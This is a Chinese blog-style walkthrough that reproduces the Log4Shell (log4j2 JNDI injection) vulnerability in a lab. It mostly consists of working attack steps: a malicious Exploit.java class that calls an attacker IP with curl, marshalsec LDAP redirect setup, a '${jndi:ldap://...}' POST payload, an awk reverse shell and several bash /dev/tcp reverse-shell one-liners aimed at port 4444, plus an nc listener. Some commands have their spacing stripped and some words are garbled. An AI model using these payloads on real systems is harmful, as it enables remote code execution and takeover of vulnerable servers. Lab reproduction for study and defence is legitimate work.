迅雷雷鸟-sql分页

log4j2漏洞
2023年4月2日发(作者:sddsupdate)

apachelog4j2漏洞复现linux【纯详版】

本次记录⾃⼰测试时每⼀步操作,很详细。

本次复现分为curl测试和拿shell两种操作,测试完curl后体验时长到期了,只能换环境了。

本次测试环境如下:

curl------------------------------------------------------

攻击机:106.15.47.238(阿⾥云的⼀⼩时体验服务器)

拿shell--------------------------------------------------

靶场:192.168.11.136(centos7)

攻击机:192.168.11.128(kali)

curl测试:

攻击机-----------------------

安装java环境:

jdk1.8.0_181

下载好后使⽤rz传到vps上:

#yuminstalllrzsz

#rz

解压缩:

Copy到/usr/jdk:

cp-rjdk1.8.0_181//usr/jdk

编辑环境变量:

vi/etc/profile

将下⾯配置添加到⽂件最后:

exportJAVA_HOME=/usr/jdk

exportCLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH

exportPATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

告诉系统jdk的位置:

update-alternatives--install"/usr/bin/java""java""/usr/jdk/bin/java"1

update-alternatives--install"/usr/bin/javac""javac""/usr/jdk/bin/javac"1

update-alternatives--install"/usr/bin/javaws""javaws""/usr/jdk/bin/javaws"1

update-alternatives--install"/usr/bin/javaws""javaws""/usr/jdk/bin/javaws"1

设置新的jdk为默认:

update-alternatives--setjava/usr/jdk/bin/java

update-alternatives--setjava/usr/jdk/bin/java

update-alternatives--setjavac/usr/jdk/bin/javac

update-alternatives--setjavac/usr/jdk/bin/javac

update-alternatives--setjavaws/usr/jdk/bin/javaws

update-alternatives--setjavaws/usr/jdk/bin/javaws

重载profile⽂件:

source/etc/profile

查看jdk版本:

java-version

到此java环境安装完毕。

编写⼀个恶意类,命名为,这⾥⽤curl测试:

写⼊:

publicclassExploit{

publicExploit(){

try{

//要执⾏的命令

String[]commands={"curl","http://106.15.47.238:5678"};

Processpc=time().exec(commands);

r();

}catch(Exceptione){

tackTrace();

}

}

publicstaticvoidmain(String[]argv){

Exploite=newExploit();

}

}

编译:

开个http服务,等会⽤来验证是否命令被⽬标执⾏:

安装maven:

wget/apache/maven/maven-3/3.8.4/binaries/

解压:

配置:

update-alternatives--install/usr/bin/mvnmvn~/apache-maven-3.8.4/bin/mvn1

环境变量配置:

vi/etc/profile

最下⾯添加:

exportMAVEN_HOME=~/apache-maven-3.8.4

exportPATH=$MAVEN_HOME/bin:$PATH

重载profile⽂件:

source/etc/profile

装git:

yuminstallgit

下载marshalsec⼯具

gitclone/mbechler/

进⼊marshalsec⽂件夹,使⽤maven编译marshalsec成jar包:

mvncleanpackage-DskipTests

耐⼼等待ing...

来了

在⽂件所在⽬录开个http服务:

进⼊target⽂件夹,搭建个LDAP服务:

fServerhttp://106.15.47.238:1234/#Exploit8899

访问靶场:

点击登录后,⽬标执⾏命令curl我们的5678端⼝:

----------------------------------------------------------------------------------------------------------------

这时候靶场1⼩时时间到期了呜呜。

拿shell:

简介:

靶机:192.168.11.136(centos7)

攻击机:192.168.11.128(kali)

和以上curl操作相同,只是修改被执⾏的命令为反弹shell。

靶机docker环境搭建:

装docker

curl-s/|sh

启动docker:

servicedockerstart

拉镜像:

/fengxuan/log4j_vuln

容器:

dockerrun-it-d-p8080:8080--namelog4j_vuln_/fengxuan/log4j_vuln

进容器:

dockerexec-itlog4j_vuln_container/bin/bash

开tomcat服务:

/bin/bash/home/apache-tomcat-8.5.45/bin/

到此为⽌靶机环境搭建好了。

攻击机-----------

配java环境、各种组件。和上⾯curl操作步骤⼀样。

配好环境和相关组件后,在所在⽬录启个http服务:

python-mSimpleHTTPServer1234

开启LDAP服务:

fServerhttp://192.168.11.128:1234/#Exploit8899

恶意类内容.编辑⽂件,利⽤curl反弹shell:

编译:

再启个http服务供⽬标机器来访问:

内容:意思是把shell反弹到攻击机4444端⼝:

awk'BEGIN{s="/inet/tcp/0/192.168.11.128/4444";while(42){do{printf"shell>"|&s;s|&getlinec;if(c){while((c|&getline)>0)print$0|&s;close(c);}}while(c!="exit")close(s);}}'/dev/null

Nc监听4444,坐等shell:

nc–lvnp4444

Post请求c=${jndi:ldap://192.168.11.128:8899/id}

过程:

⽬标Curl攻击机的8888端⼝,内容为反弹shell到攻击机4444端⼝:

收到shell:

-----------------------

问为什么要这样反弹,⿇烦不烦啊!

答因为其他⽅式本⼈没弹出来(委屈)

bash-i>&/dev/tcp/192.168.11.128/44440>&1

bash-i>/dev/tcp/192.168.11.128/44440<&12>&1

exec196<>/dev/tcp/192.168.11.128/4444;sh<&196>&1962>&196

晚安

参考:

声明:

由于传播、利⽤此⽂所提供的信息⽽造成的任何直接或者间接的后果及损失,均由使⽤者本⼈负责,⽂章作者不为此承担任何责任。

更多推荐

log4j2漏洞